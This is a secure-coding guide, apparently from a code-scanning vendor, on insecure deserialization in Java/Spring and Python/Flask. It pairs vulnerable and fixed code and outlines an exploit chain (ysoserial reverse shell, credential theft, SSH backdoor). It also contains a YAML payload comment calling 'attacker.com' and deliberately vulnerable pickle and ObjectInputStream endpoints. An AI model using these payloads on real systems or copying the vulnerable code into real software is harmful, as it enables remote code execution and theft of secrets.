Deserialization
Deserialization at a glance
Overview
Deserialization bugs happen when code turns untrusted bytes or text into live objects using native or powerful serializers. Many languages execute code, run hooks, or resolve types during parsing. Attackers craft payloads that instantiate gadget classes already present in your app or dependencies, triggering side effects like command execution or file access.
Where it occurs
Common spots are import endpoints, cache or session restoration, message consumers, and admin tools that accept YAML or serialized blobs. Risky sinks include Java ObjectInputStream, .NET BinaryFormatter, PHP unserialize, Ruby YAML.load, and Python yaml.load with unsafe loaders.
Impact
Exploitation can run arbitrary code, access local files, or corrupt application state. Since the behavior occurs during parsing, traditional authorization checks may be bypassed.
Prevention
Avoid native object deserialization for untrusted data. Use JSON or similar simple formats and bind to concrete DTOs or records. Prefer safe loaders such as yaml.safe_load, and disable dangerous formatters entirely (.NET BinaryFormatter, Java objects). If you must accept complex formats, implement strict allow lists of types and validate schemas, with sandboxing and timeouts where available.
Examples
Switch tabs to view language/framework variants.
Spring, ObjectInputStream reads attacker controlled bytes
Controller deserializes request body with ObjectInputStream. Gadget chains in classpath can execute code during readObject.
import org.springframework.web.bind.annotation.*;
import java.io.*;
@RestController
class ImportController {
@PostMapping("/import")
public String load(@RequestBody byte[] body) throws Exception {
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(body))) {
Object obj = ois.readObject(); // BUG: native Java deserialization
return obj.toString();
}
}
}- Line 9: ObjectInputStream on untrusted bytes can invoke gadget constructors and readObject()
Native Java deserialization executes magic methods of classes found on the server classpath. Attackers supply a crafted object graph that triggers those methods during readObject.
import com.fasterxml.jackson.databind.ObjectMapper;
import org.springframework.web.bind.annotation.*;
@RestController
class ImportController {
private final ObjectMapper mapper = new ObjectMapper();
static class Item { public String name; public int qty; }
@PostMapping("/import")
public String load(@RequestBody String json) throws Exception {
Item it = mapper.readValue(json, Item.class); // structured, typed
return it.name + ":" + it.qty;
}
}- Line 9: Use JSON binding to a concrete type instead of general object deserialization
Use JSON or another data format and bind to explicit DTOs. Never accept native serialized objects from untrusted sources.
Engineer Checklist
-
Eliminate native object deserialization on untrusted data paths
-
Use JSON or protobuf and bind to explicit, minimal types
-
In YAML, use safe_load with no permitted classes by default
-
Remove BinaryFormatter and Java ObjectInputStream from codebases
-
Sign or authenticate messages from trusted queues, still validate strictly
End-to-End Example
A Spring endpoint accepts an object import and uses ObjectInputStream on the request body. An attacker crafts a serialized gadget chain using classes present in the server’s dependencies and posts it to the endpoint. During readObject, gadget code runs.
// Java/Spring Boot - Vulnerable to deserialization attacks
import java.io.*;
import org.springframework.web.bind.annotation.*;
@RestController
public class ImportController {
@PostMapping("/api/import-data")
public ResponseEntity<?> importData(@RequestBody byte[] body) {
try {
// VULNERABLE: Deserializing untrusted binary data!
// Attacker can send a crafted Java serialized object
// containing a gadget chain (e.g., using Commons Collections)
// that executes arbitrary code during readObject()
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(body)
);
// DANGEROUS: This line triggers gadget chain execution!
Object obj = ois.readObject();
// Process deserialized object
if (obj instanceof UserData) {
UserData data = (UserData) obj;
return ResponseEntity.ok("Imported: " + data.getName());
}
return ResponseEntity.ok("Data imported");
} catch (Exception e) {
// Gadget may have already executed by this point
return ResponseEntity.status(500).body("Import failed");
}
}
}
// Python/Flask - Also vulnerable
import yaml
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/api/import-config', methods=['POST'])
def import_config():
config_data = request.data
# VULNERABLE: Using unsafe YAML loader
# Attacker sends: !!python/object/apply:os.system ["curl attacker.com"]
config = yaml.load(config_data, Loader=yaml.Loader) # DANGEROUS!
return {'status': 'imported'}
@app.route('/api/restore-session', methods=['POST'])
def restore_session():
# VULNERABLE: Unpickling untrusted data
# Attacker can achieve RCE via pickle gadgets
session_data = request.data
session = pickle.loads(session_data) # DANGEROUS!
return {'session': session}// Java/Spring Boot - SECURE against deserialization attacks
import com.fasterxml.jackson.databind.ObjectMapper;
import org.springframework.web.bind.annotation.*;
@RestController
public class ImportController {
private final ObjectMapper objectMapper = new ObjectMapper();
@PostMapping("/api/import-data")
public ResponseEntity<?> importData(@RequestBody String jsonBody) {
try {
// SECURE: Use JSON instead of Java serialization
// Jackson ObjectMapper only deserializes to the specified type
// No arbitrary code execution during deserialization
UserData data = objectMapper.readValue(jsonBody, UserData.class);
// Validate the data
if (data.getName() == null || data.getName().isEmpty()) {
return ResponseEntity.badRequest().body("Invalid data");
}
// Process safely deserialized data
return ResponseEntity.ok("Imported: " + data.getName());
} catch (Exception e) {
return ResponseEntity.status(400).body("Invalid JSON");
}
}
}
// Define explicit DTOs - no generic Object deserialization
public class UserData {
private String name;
private String email;
// Getters and setters
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public String getEmail() { return email; }
public void setEmail(String email) { this.email = email; }
}
// Python/Flask - SECURE
import yaml
import json
from flask import Flask, request
app = Flask(__name__)
@app.route('/api/import-config', methods=['POST'])
def import_config():
config_data = request.data
# SECURE: Use safe_load instead of load
# safe_load only constructs simple Python objects (dict, list, str, etc.)
# No arbitrary Python object construction
try:
config = yaml.safe_load(config_data)
# Validate the structure
if not isinstance(config, dict):
return {'error': 'Invalid config format'}, 400
return {'status': 'imported', 'config': config}
except yaml.YAMLError as e:
return {'error': 'Invalid YAML'}, 400
# ALTERNATIVE: Use JSON instead of YAML
@app.route('/api/import-config-json', methods=['POST'])
def import_config_json():
# SECURE: JSON only deserializes to basic types
try:
config = request.get_json()
return {'status': 'imported', 'config': config}
except Exception as e:
return {'error': 'Invalid JSON'}, 400
# For session data, use signed cookies or JWT instead of pickle
from itsdangerous import URLSafeTimedSerializer
serializer = URLSafeTimedSerializer('secret-key')
@app.route('/api/create-session', methods=['POST'])
def create_session():
# SECURE: Use signed serialization instead of pickle
session_data = {'user_id': 123, 'role': 'user'}
token = serializer.dumps(session_data)
return {'token': token}
@app.route('/api/restore-session', methods=['POST'])
def restore_session():
token = request.json.get('token')
# SECURE: Verify signature and deserialize safely
try:
session_data = serializer.loads(token, max_age=3600)
return {'session': session_data}
except Exception as e:
return {'error': 'Invalid or expired token'}, 401Discovery
This vulnerability is discovered by identifying endpoints that accept serialized objects (Java, .NET, Python pickle, PHP serialize), then testing with known gadget chains or modified payloads that trigger unusual behavior or errors indicating deserialization.
-
1. Identify deserialization endpoint
httpAction
Probe for endpoints that accept binary serialized data formats
Request
OPTIONS https://app.example.com/api/importResponse
Status: 200Body:{ "allowed_methods": [ "POST", "OPTIONS" ], "accepts": [ "application/octet-stream", "application/x-java-serialized-object" ], "note": "Endpoint accepts serialized Java objects" }Artifacts
http_response_headers allowed_content_types deserialization_endpoint -
2. Test with benign serialized object
httpAction
Send valid serialized Java object to confirm deserialization occurs
Request
POST https://app.example.com/api/importHeaders:Content-Type: application/x-java-serialized-objectBody:{ "note": "Binary serialized String object containing 'test'", "hex": "aced00057400047465737" }Response
Status: 200Body:{ "message": "Import successful", "imported_object": { "class": "java.lang.String", "value": "test" }, "note": "Object successfully deserialized using ObjectInputStream" }Artifacts
deserialization_confirmed object_processing -
3. Probe for vulnerable gadget libraries
httpAction
Test for presence of commons-collections or other gadget libraries
Request
POST https://app.example.com/api/importHeaders:Content-Type: application/x-java-serialized-objectBody:{ "note": "Serialized object referencing org.apache.commons.collections.Transformer", "hex": "aced0005737200336f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e..." }Response
Status: 500Body:{ "error": "Import failed", "stack_trace": "java.io.ObjectInputStream.readObject...\norg.apache.commons.collections.functors.InvokerTransformer...", "note": "No ClassNotFoundException - commons-collections library is present and vulnerable" }Artifacts
vulnerable_library_confirmed commons_collections_present gadget_chain_viable -
4. Verify code execution with timing test
httpAction
Use sleep() gadget to confirm arbitrary code execution during deserialization
Request
POST https://app.example.com/api/importHeaders:Content-Type: application/x-java-serialized-objectBody:{ "note": "Gadget chain that executes Thread.sleep(5000)", "generated_with": "ysoserial CommonsCollections6 'sleep 5'" }Response
Status: 200Body:{ "message": "Import successful", "processing_time": "5243ms", "note": "Response delayed by exactly 5 seconds, confirming gadget chain executed" }Artifacts
rce_confirmed timing_attack_success gadget_execution_proof
Exploit steps
An attacker exploits this by crafting malicious serialized payloads containing gadget chains that execute arbitrary code during the deserialization process, often leading to complete server compromise.
-
1. Generate reverse shell payload
Create malicious serialized object using ysoserial
cliAction
Generate CommonsCollections6 gadget chain for reverse shell
Request
Response
Artifacts
payload_file gadget_chain_ready reverse_shell_payload -
2. Deliver malicious payload to trigger RCE
POST serialized gadget chain to import endpoint
httpAction
Upload crafted deserialization payload to execute reverse shell
Request
POST https://app.example.com/api/importHeaders:Content-Type: application/x-java-serialized-objectContent-Length: 1847Body:{ "note": "Binary payload from ysoserial containing reverse shell gadget chain", "file": "payload.ser" }Response
Status: 200Body:{ "message": "Processing import...", "note": "Gadget chain triggered during readObject(), reverse shell executed before response sent" }Artifacts
gadget_chain_triggered code_execution_started reverse_shell_connecting -
3. Establish reverse shell connection
Receive incoming reverse shell
cliAction
Listener receives connection from compromised server
Request
Response
Artifacts
shell_established server_compromised interactive_access -
4. Extract credentials and secrets
Access application configuration and environment
cliAction
Read sensitive files to extract database credentials and API keys
Request
Response
Artifacts
database_credentials aws_keys stripe_api_key jwt_secret complete_environment_compromise -
5. Establish persistent backdoor
Install SSH backdoor for persistent access
cliAction
Add attacker SSH key to authorized_keys for ongoing access
Request
Response
Artifacts
persistent_backdoor ssh_access ongoing_compromise
Specific Impact
Arbitrary code execution on the application host by leveraging gadget classes already present in dependencies. Attackers can read secrets, modify data, or drop backdoors.
Because execution occurs during parsing, standard authorization middleware and application logic may never run, so logs show only a benign import call.
Fix
Replace native deserialization with JSON bound to explicit DTOs. Add validation and size limits. Remove or block dangerous deserializers in the build and add CI checks.
Detect This Vulnerability in Your Code
Sourcery automatically identifies deserialization vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free